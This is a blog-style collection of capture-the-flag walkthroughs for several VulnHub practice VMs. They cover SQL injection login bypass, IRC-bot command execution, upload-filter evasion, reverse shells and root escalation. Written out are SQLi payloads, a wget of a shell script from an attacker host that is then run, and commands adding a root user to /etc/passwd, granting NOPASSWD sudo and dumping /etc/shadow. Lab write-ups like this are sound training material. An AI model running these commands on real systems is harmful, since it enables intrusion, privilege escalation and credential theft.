@badhackjob

VM Download: DC416: 2016 Dick Dastardly

DC416 DEFCON Toronto
Thanks to @_RastaMouse and VulHub for the VM!

Instructions for Dick Dastardly:
DC416 Engagement Rules:
– No username/password bruteforcing is necessary
– This box has 4 flags
– Flags are in flag{} format
– Have fun

…and an Nmap session before we get going.

1. flag1 – SQLi on the Vulnhub Guestbook

flag1{l0l_h0w_345y_15_7h15_c7f}

We run the OWASP DirBuster to identify additional directories and files on the target. In the results we find some promising pages, including admin.php and index.php.

We open the webpage in our browser, and take a look at the page source.
Our focus turns to the Admin Logon functionality with some SQL injection testing with sqlmap.

We catch the POST login request with OWASP ZAP, and save the raw request to a text file to use with sqlmap. We also define ZAP as the proxy for sqlmap to use so we can review each request made, and subsequent server response.

The target normally returns a 200 OK from an invalid login request/attempt. However, during our sqlmap testing we get a 302 redirect. This is a good sign we bypassed authentication.

We check out the request in ZAP and pull out the injected payload: user=-6086′ OR 5614=5614– Owal&pass=badcypher

We test the payload on the Admin Logon page, and it works!!

Taking a deeper look at the 302 redirect response to our payload, we find flag1{l0l_h0w_345y_15_7h15_c7f}.

2. flag2 – Command Execution via Supybot

flag2{y0u’r3_4_5upyb07_n00b_m8}

Taking advantage of the Admin Functions now available to us in the VulnHub Admin Area, we add our IP to the IRC whitelist. Then using hexchat, we connect to the IRC service running on the target.

We join the #vulnhub channel, and have our first encounter with the vulnhub-bot???

We start a dialog with the vulnhub-bot, and through trial and error, we learn about the actions and commands available to us.

We dive deeper into the Unix plugin, and come across the shell command. When attempting to run the ‘id’ command we receive the following error message:

It seems we do not have the owner privilege assigned to us….lets take a look back at the functions on the Admin page. Leveraging admin functionality, we deactivate the Supybot, add a new owner badcypher:password, and then re-activate the bot again. We identify ourselves with the command “user identify badcypher password”, and then attempt command execution again…..Success!!!!

We determine our current directory, list the contents, and find flag2. We then output the text of flag2: flag2{y0u’r3_4_5upyb07_n00b_m8}.

3. flag3 – Command Execution via Util.py

flag3{n3x7_71m3_54n17153_y0ur_1npu7}

We leverage our command execution via the Supybot to gain shell access to the target. After determining the execution path of netcat traditional (nc.traditional), we create a reverse shell connection back to our attacking machine over port 4444.

We use the g0tmi1k Python trick to spawn a more comprehensive bash shell, and we now have remote access to the target as the user ‘rasta’.

We then use the LinEnum enumeration script to identify potential opportunities for local privexec exploitation. To upload the file to the target, we serve the bash script from our attacking box over HTTP using the Python module SimpleHTTPServer. From the target machine as the user ‘rasta’, we wget the file to the /tmp directory and make it executable via chmod.

Fairly early in the results we see something promising, we have sudo permissions as ‘rasta’:

As the user ‘vulnhub’ and without having to provide a password, ‘rasta’ can execute the command “/usr/bin/python /usr/local/sbin/util.py”. So, we fire it off in our shell and are presented with the Admin Helper:

The “List Directory” option screams command execution, so lets check that out:

We begin to mess with the directory input, and find that some characters are being filtered, most notably those used to combine shell commands (& and ; ).

However, when combining commands with ‘|’ (pipe) we are able to escape the scripted ls command, and gain our command execution!!!!

We find flag3 in the /home directory for the vulnhub user, excellent.
flag3{n3x7_71m3_54n17153_y0ur_1npu7}.

4. flag4….or flag0??? ICMP Packet Sniffing

flag0{the_quieter_you_become_the_more_you_are_able_to_hear}

Making use of our command execution with utily.py, we use the same nc.traditional command to gain a remote shell as ‘vulnhub’ on the target, only this time we use TCP port 5555 for the callback port. We again use the g0tmi1k Python trick and now we have a decent shell.

This is where it gets interesting….so I spend about 2 hours trying a variety of local root exploits based on the distro and kernel version of the target, looking for access to flag4. Nothing works.

So I go back to LinEnum, and this time I see something I missed during the earlier run:

Hmmm, interesting. Is the machine sending something out on the wire???? We do some sniffing with Wireshark, and what do you know, ICMP packets coming from the target:

It’s a set of ICMP packets coming from the target, each containing an ASCII payload. We grab the data from each packet in the set with the following python, and we get flag0:
flag0{the_quieter_you_become_the_more_you_are_able_to_hear}.

The end.

HackDay: Albania

Thanks to R-73eN for the VM!

Using netdiscover, we identify the IP address assigned to the target system.

We add a record to our /etc/hosts file for the target instead of having to remember the IP address.

We then perform a full TCP port SYN scan on the target using Nmap, identifying open ports 22 and 8008.

Again using Nmap, we dig in and perform service enumeration on the open TCP ports.

We have SSH running on port 22, and an Apache web service running on port 8008. We also find the robots.txt file for the server thanks to the discovery NSE script http-robots.txt. Lets take a look at the web page before I turn my attention to the robots.txt entries.

Thats right, this VM is from Albania. Gotcha. Google translate to the rescue. The pop-up translates to “Welcome: If I am, I know where to go;)”. I am guessing that means if you are like my man Elliot here, you know what the next hack move. Unfortunately, I am no Elliot.

We then take a look at the page source and find the following: ” “, which translates to “OK ok, but not here”.

I find it odd that the OK and UNE are capitalized, so I write it down in my notes. Back to that robots.txt file.

I use Burp Suite’s Intruder functionality to test the directories listed in the robots.txt file. First I proxy a GET request to the main page, and use it as the base for the Intruder attack positioning. I configure the position where the payload values will be added to be on the requested page “/”.

On the payloads tab, we load the directories listed on the robots.txt file, turn off URL encoding of the payload, and leave the Payload Type as Simple List.

We execute the attack, and observe the responses received from the target. The majority of responses have a returned Length of 440, but I find one directory returns a unique value of 283, /unisxcudkqjydw/. Looking at the response received, the page mentions another directory /vulnbank/. Also, I again note the capitalization of ‘IS’ in the message on the page.

We also take a look at the page returned for all the other directory requests. The page contains an image of raptor with the following text: “A ESHTE KJO DIREKTORIA E DUHUR. APO PO HARXHOJ KOHEN KOT”, which translates to “Is this the proper directory, or are jerk”.

Moving on, we check out the /vulnbank/ directory, which then lists another subdirectory /client/. Clicking on the /client/ directory, we are brought to the ‘Very Secure Bank’ web application.

We again note the capitalization on the page, and in the page title, IN and SECURE respectively. So far, we have the following capitalized letters “OK UNE IS IN SECURE”. Ok, one is insecure???? Maybe.

Through testing the login form for the Very Secure Bank, I am able to generate the following MySQL error after placing a ‘ in the username field.

Excellent, looks like some SQLi is in play here! I proxy another login attempt through Burp, and copy the request to file for use with sqlmap.

We run sqlmap using the request file, set the DBMS to MySQL, and set the level and risk parameters to the max in order to perform a comprehensive scan. We also set the proxy to my local Burp Suite instance to capture all of sqlmap’s requests and the subsequent server responses.

Lucky for us, our scan is successful, and we find the login form is vulnerable to RLIKE boolean-based blind, and RLIKE time-based blind SQL injection vulnerabilities! Thank you again sqlmap.

Highlighted in green above, we are notified by sqlmap that our scan has received a 302 redirect from the server. This is a good indication that we have successfully bypassed the authentication on the login page. We take a look at our Burp proxy, and find the request and payload sent to the target that generated the HTTP 302 response.

POST /unisxcudkqjydw/vulnbank/client/login.php HTTP/1.1
Content-Length: 64
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Host: hackday:8008
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Connection: close
Cookie: PHPSESSID=s0ri4argqjtplmjsemmoh5rfn6
Referer: http://hackday:8008/unisxcudkqjydw/vulnbank/client/login.php
Content-Type: application/x-www-form-urlencoded

username=admin%27%20RLIKE%20SLEEP%285%29–%20MRve&password=admin

URL decoded: username=admin’ RLIKE SLEEP(5)– MRve&password=admin

We go back to the Very Secure Bank login page, enter the same payload into the Username field, select Log IN, and we are in! Now we have access the account of Charles D Hobson, who currently has 25000 euro. Nice!

Getting back to our SQLi results, we cannot leverage our injection points to retrieve additional database information (appears it may only be good for authbypass). For example, we receive the following error when attempting to read all database names:

Turning our attention back to the Very Secure Bank application, we find the ability to add Support tickets which also includes an upload component. The web form makes a POST request to ticket.php which includes data for the problem, description, and attached file.

We immediately turn our attention to finding flaws in the file upload functionality. In an attempt to upload the simple-php-backdoor php file included with Kali, we receive the following error message indicating there are restrictions on the file type thats allowed to be uploaded:

Returning to the main page, it appears that the ticket was still created, however the attached PHP backdoor was stripped.

Looking at the page source, associated files included with tickets are sourced from the following link: img src=’view_file.php?filename=simple-backdoor.php’. Further, we are able to generate a PHP include warning message when making a request to view_file.php with a page that does not exist.

We also receive the following message when trying to include a page with a PHP extension:

With this information, if we are able to bypass the filetype filter and upload our PHP shell to the server, we can leverage the include call on view_file.php to access the backdoor and get remote access.

Our backdoor for this attack will be the php-reverse-shell.php webshell included with Kali, which we modify by setting our IP address and a callback port of 443 (in case there is an outbound filter on the target).

We create a new ticket, attach our modified php reverse shell script, and catch the request in our Burp proxy.
Then, we modify the filename and Content-Type values within the form-data in an attempt to bypass the upload filter.

We make the following changes in the Burp Intercepter window:

Original Request:

Modified Request:

Success!!!! We receive the following message indicating the upload worked.

Now to test the PHP reverse shell we use ncat to setup a listener on 443, and make a request to view_file.php for our backdoor file: http://hackday:8008/unisxcudkqjydw/vulnbank/client/view_file.php?filename=php-reverse-shell.jpg
It works, and we now have remote access to the hackday server!

We use a technique I learned from g0tmi1k to improve our shell using python to spawn a bash instance. First we review the executable paths for python, and then run the following command:

When testing the SQLi flaw on the Very Secure Bank login page, the MySQL error message received referenced the page config.php. After reviewing the file, we are able to find the database credentials for the root MySQL user.

$db_host = “127.0.0.1”;
$db_name = “bank_database”;
$db_user = “root”;
$db_password = “NuCiGoGo321”;

We use these credentials to access the MySQL instance on the server in search of more credentials. We find usernames and passwords for the Very Secure Bank application in the klienti table:

Excellent.

Next, we leverage the tool LinEnum written by @rebootuser. This tool is a bash script that will gather a good amount of system information for us quickly, so we can parse the results and look for potential local privexec weaknesses. We scp the file from our attacking machine to the pwn’d hackday system and execute the script.

Other than root, the only other local account on the machine is ‘taviso’.

Attempts to SSH into hackday using the root and taviso accounts with the password ‘NuCiGoGo321’ that we found in config.php failed.

Looking further through the LinEnum results, we find the following regarding read/write permissions for sensitive files:

It looks as if we have write permissions to the /etc/passwd file. Very interesting……. We confirm this by adding a test line to the file:

Excellent!!!! We refresh our memory of the structure of the passwd file via some googling. Our attack will be to add a new user to the file with root level permissions, who’s password is included in passwd and is not on the shadow file. We accomplish this with the following command:

echo “badcypher:\$6\$NOPE\$NOTINCLUDED:0:0:root:/root:/bin/bash” >> /etc/passwd

After adding the new line to the passwd file, we switch user to badcypher.

Game over. We now have root access to the hackday machine. We output the flag.txt to cement our victory:

One last final translation: Urime, Tani nis raportin! =’s Congratulations, Now begins the report!

….so true, so true.

Had alot of fun with this VM, thanks again to R-73eN, and of course to the dopest of dope VulnHub.

Breach: 1 Vulnhub Page

Thanks to @mrb3n813 for the challenge!

Attack Narrative:

Setup networking between the Breach VM and the Kali VM.

Next, I performed a standard Nmap SYN scan on the system with very odd results. All ports reported back as open indicating some sort of IDS/IPS/Firewall in play here. So instead I used Ncat for manual TCP port enumeration, starting with port 80 (HTTP). This approach was able to fingerprint an active web service on the Breach host, Apache/2.4.7 (Ubuntu).

I setup Burp Suite and Iceweasel, and proxy’d another GET request to the Breach HTTP service. Looking at the page source, we find a nice nugget of info:

Base64 encoded data, took 2 rounds of decoding:
Y0dkcFltSnZibk02WkdGdGJtbDBabVZsYkNSbmIyOWtkRzlpWldGbllXNW5KSFJo
cGdpYmJvbnM6ZGFtbml0ZmVlbCRnb29kdG9iZWFnYW5nJHRh
pgibbons:damnitfeel$goodtobeagang$ta

With the new found creds, I check to see if FTP or SSH are running via Ncat enumeration. No such luck, both ports return odd value. I will have to hold on to the creds for a minute.

Next, I spider the site with Burp looking for additional directories, pages, images, and web forms. I start with the images directory.

 

I pull every file down, and run it through exiftool looking for hidden information in meta data. The image bill.png contained an attribute called ‘Comments’ with the value ‘coffeestains’. This was noted for later use, appears to be someone’s password, probably an account associated with Bill Blumbergh.

The spider crawl also identified a content management system installed on the server called ImpressCMS. There is a login form on the main page, so I attempt to authenticate with the pgibbons:damnitfeel$goodtobeagang$ta account found earlier…..success!! Our first taste of unauthorized access!!! We start by looking through the user’s Inbox and start reading the messages for intel.

In the first message, the ImpressCMS Admin (aka Bob) tells Peter they did not know what to do with our new purchase of Super Secret Cert Pro, so they dropped our keystore on the public webserver…..good move.

Not sure how the keystore comes into play yet, but we grab it anyway.

We run strings against the downloaded Java Keystore file and find the string ‘tomcat’. We take note for future potential use, maybe passphrase used for keystore encryption???

The second message is from Michael Bolton, and confirms our suspicion that there was an IDS/IPS in play on the server.

The final message is from Bob, the ImpressCMSAdmin, who tells everyone to post sensitive artifacts to the admin portal, and then makes a telling statement about passwords: “My password is extremely secure. If you could go ahead and tell them all that’d be great. -Bill ”

We know Bill is the ImpressCMS Admin, so we try to login as admin with the password found in the meta data of the bill.png image, ‘coffeestains’……success!!! We are now an admin on ImpressCMS.

We select the Content menu option, and find more juicy intel. We find a message titled ‘SSL implementation test capture’ written by Peter. In it he describes a packet capture used by the red team to reproduce the attack. The file is available at the following link: http://192.168.110.140/impresscms/_SSL_test_phase1.pcap

Also, Peter says: ” They told me the alias, storepassword and keypassword are all set to ‘tomcat’. Is that useful?? Does anyone know what this is? I guess we are securely encrypted now?” This matches the string we found from the output of the strings command against the .keystorefile. I grab a copy of the pcap and open it in Wireshark, and……..its encrypted traffic.

So, we are going to have to decrypt this traffic to see how the threat actors attacked this server. There are some good resources out there that will show you how to do this. I have to give a shout out to https://www.tbs-certificates.co.uk/FAQ/en/627.html who showed me how to create the PKCS#12 file from the Java keystorefile using keytool. Like we read in the message from Peter, and saw from the strings output against the .keystorefile, I use ‘tomcat’ for the destination keystorepassword and source keystorepassword.

We configure Wireshark accordingly to decrypt the packet capture with the P12 file: IP address 192.168.110.140, communication over port 8443, protocol will be HTTP, key file will be breach.p12, and password will be ‘tomcat’.

Apply the new configuration, and bingo, decrypted traffic!

Off the bat we see host 192.168.110.129 was accessing the /_M@nag3Me/html page on the server. After an initial 401 Unauthorzied, the threat actor sends a subsequent GET request with an Authorization HTTP header which used Basic authentication. Wireshark is able to decode the Base64 to reveal the username password tomcat:Tt\\5D8F(#!*u=G)4m7zB.

After more review of the packet capture, I could see the attacker was able to upload a webshell to the server, /cmd/cmd.jsp. This form took a GET parameter ‘cmd’ containing a system command to be executed on the server. In the capture, the attacker is sending the ‘id’ command to be executed by the server:

Based on the subsequent response to this webshell request, the attacker did have remote code execution on the server. The server responds with the user ID under which the web instance is running, tomcat6.

Lets do the same thing the attacker did, and shell this bastard!! First we proxy a request for the /_M@nag3Me/htmlpage, and replace the Authorization HTTP header value with the one we pulled from the packet capture (NOTE: I dont know why, but every time I entered the password manually, it did not work).

Basic dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC

This is what I like!!! Round 2 of administrative unauthorized access, this time its the Tomcat Web Application Manager! Lets shell this bitch.

I quickly create a WAR file with the basic JSP webshell provided by Kali, after some slight modifications to match the server environment, and deploy it to the server. I then visit the page in Iceweasel, and get remote code execution on the server. Excellent.

NOTE: The next step of the attack had to be executed fast! Something on the server was deleting my WAR deployment about every 5 minutes.

I was able to determine the execution path for php, and uploaded and executed the php reverse shell from Kali with the following sequence of commands. In order to avoid any IDS/IPS issues, I use the callback TCP port 443 for the reverse shell.

wget http://attacker.IP/shell.txt -O /tmp/shell.txt
mv /tmp/shell.txt /tmp/shell.php
php -f /tmp/shell.php

Once I have the reverse shell going, I use the g0tmi1k Python trick for a better shell, and cat /etc/passwd and ls -al the /home directory looking for local user accounts. It seems Bill has a local account on the server, so I try to su to the blumbergh account with the pwd ‘coffeestains’…..success!!!

I check the sudo permissions for the blumbergh account, and stumble upon the following:

I cat the tidyup.sh file and find its the Tomcat cleanup script we had to deal with earlier! Every three minutes this script executes and deletes the webapps I have deployed on the Tomcat server. Gotcha.

Luckily, blumbergh is able to modify this file with his sudo access. Using tee, blumbergh can overwrite the file we privilege escalation commands, which are then will then executed as root. So, I overwrite the file with the following 3 lines:

• echo “blumberghALL=(ALL) NOPASSWD:ALL” >> /etc/sudoers (This lets the blumbergh user run any command as root without having to enter their password).
• cat /etc/shadow > /tmp/holder.txt&& chmod777 /tmp/holder.txt (This dumps the hashes from the shadow file to a file in /tmp, that everyone can access).
• php-f /home/blumbergh/shell.php (this runs my php reverse shell from earlier, only as root this time).

I reboot the machine to restart the tidyup.sh script, and hope for the best. Luckily, all three of the commands I used were executed as root successfully!

• PHP Reverse Shell as Root

blumbergh Account with Sudo ALL:NOPASSWD

/etc/shadow Dumped to /tmp/holder.txt

Final step, cat the /root/.flag.txt file:

Awesome challenge, thanks again to @mrb3n813.

https://www.vulnhub.com/entry/sickos-11,132/

Thanks to @D4rk36 for the challenge.

1. Identify the machine

• Target will get IP via DHCP (VM placed on Host-only network); perform a /24 ARPscan to identify live hosts.
• Attacking machine IP is 192.168.53.137, old Kali 1.1 machine (for some reason did not have Sana on my Mac, and was too lazy to bring it over from other box).

2. Full port Nmap scan of the target

3. Enumerate Squid Proxy, version 3.1.19

4. HTTP Enumeration – Testing found that port 80 on the target is open if request made using proxy.

5. HTTP Enumeration – Directory enumeration using Dirb, proxy’d through target. Found the robots.txt file, and a directory /wolfcms.

6. Exploit – Search exploit-db for WolfCMS vulnerabilities, found the following (https://www.exploit-db.com/exploits/36818/).

Reviewed PHP exploit code to identify the upload page.

Again, used curl to check to see if page existed on target. Received redirect to Administrative login, good sign.

After an hour of looking online for default WolfCMS creds, I tried admin/admin…..and it worked. I am such an idiot. Now we had admin access to the Wolf CMS instance.

Time to upload PHP shell with some slight modifications.

 Setup ncat listener on port 1234, request page via browser, and receive shell.

7. Privilege Escalation – Getting root.

Took a look at running services, found MySQL which was no surprise given Wolf CMS enumeration.

Reviewed Wolf CMS directory for sensitive files that may contain MySQL creds. Found config.php, and the password ‘john@123’.

Quickly took a look at the /home directory for local users and found sickos. Used hydra to test SSH access with the MySQL password and the user sickos. Success. Established stable remote access on the target using compromised creds.

Found that the sickos account had full sudo access (all commands) on the box. Dropped into root and displayed flag. Mission complete.